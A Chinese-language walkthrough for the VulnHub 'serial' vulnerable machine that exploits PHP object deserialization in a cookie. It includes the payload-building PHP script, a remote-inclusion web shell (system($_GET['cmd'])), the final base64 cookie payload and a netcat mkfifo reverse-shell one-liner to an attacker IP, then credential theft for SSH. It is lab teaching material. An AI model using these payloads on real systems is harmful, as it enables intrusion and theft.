反序列化靶机serial漏洞复现 超详细教程

环境搭建

漏洞环境https://www.vulnhub.com/entry/serial-1,349/

下载后使用Vmware打开

创建新的虚拟机:

选择客户机版本为Ubuntu 64位:

一直下一步,知道选择使用现有磁盘:

选择下载的vmdk磁盘文件:

开机,环境配置完成:

漏洞复现

探测主机存活(目标主机IP地址)

  • 使用nmap探测主机存活或者使用Kali里的netdicover进行探测,我这里使用的arp 直接扫描本地主机 速度更快

    nmap -PS -T4 192.168.252.0/24 //可以顺带扫描端口
    arp-scan -l

访问下web

抓一下包发到重放器中看看 发现 cook 是被加密的

base64解码

解码网址:Base64 在线编码解码 | Base64 加密解密 - Base64.us

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}

O: 代表存储的是对象(object),如果传入的是一个数字,那它就会变成a;

4: 表示对象的名称有4个字符,User表示对象名称刚好4个字符;

2: 表示有两个值

s: 表示字符串,数字表示字符串长度

目录扫描

代码审计

下载下来三个文件

index.php:

php 复制代码
<?php
	include("user.class.php");

	if(!isset($_COOKIE['user'])) {
		setcookie("user", base64_encode(serialize(new User('sk4'))));
	} else {
		unserialize(base64_decode($_COOKIE['user']));
	}
	echo "This is a beta test for new cookie handler\n";
?>

user.class.php:

php 复制代码
<?php
  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

log.class.php:

php 复制代码
<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

创建一个php文件 来直接一步到位使其 反序列化 和64编码一步到位

3.php

php 复制代码
<?php
  class Log {
    private $type_log = "http://192.168.3.222/c.txt";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));
?>

c.txt

php 复制代码
<?php system($_GET['cmd']);?>

运行 3.php 得到 反序列化 和64解码的结果

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MjY6Imh0dHA6Ly8xOTIuMTY4LjMuMjIyL2MudHh0Ijt9fQ

木马上传

将其放到bp里 注入下木马 以get形式查了下 id 可以看到 成功上传

添加反弹shell:没有回应,但反弹shell成功。

php 复制代码
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.252.134+2222+>/tmp/f

SSH远程连接

查看根目录发现存在敏感文件credentials.txt.bak 找见sk4的密码 直接去物理机SSH远程连接

相关推荐
皮皮蟹虾饺14 小时前
DNS协议指南:从报文格式到安全加密与 K8s 实战
安全·容器·kubernetes
HavenlonLabs17 小时前
重塑链上未来的隐形基石:长期主义下的生态演进
大数据·人工智能·安全·区块链
其实防守也摸鱼19 小时前
软件安全与漏洞--Windows底层原理与软件逆向工程基础
linux·网络·数据库·算法·安全·安全架构·软件安全与漏洞
杨先生哦21 小时前
2026 热端攻防:AI 驱动 Web 前端安全全景透析
前端·笔记·安全·web安全
国科安芯1 天前
基于AS32S601ZIT2型抗辐照MCU的商业航天卫星姿态确定与控制系统研究
单片机·嵌入式硬件·安全·fpga开发·架构·risc-v
持敬chijing1 天前
Web渗透之前后端漏洞-CORS跨越访问漏洞
安全·web安全·网络安全·网络攻击模型·安全威胁分析
yuegu7771 天前
HarmonyOS应用<节气通>开发第30篇:安全存储封装
安全
阿狸猿1 天前
网络安全体系设计
安全·web安全
大鱼>1 天前
AIoT安全攻防:当物联网设备成为黑客后门
人工智能·物联网·安全·aiot
HackTwoHub1 天前
免费FOFA高级会员、DayDaymap、360Quake、Hunter测绘搜索引擎高级会员免费使用最大1W条查询工具
运维·安全·web安全·搜索引擎·网络安全·系统安全·安全架构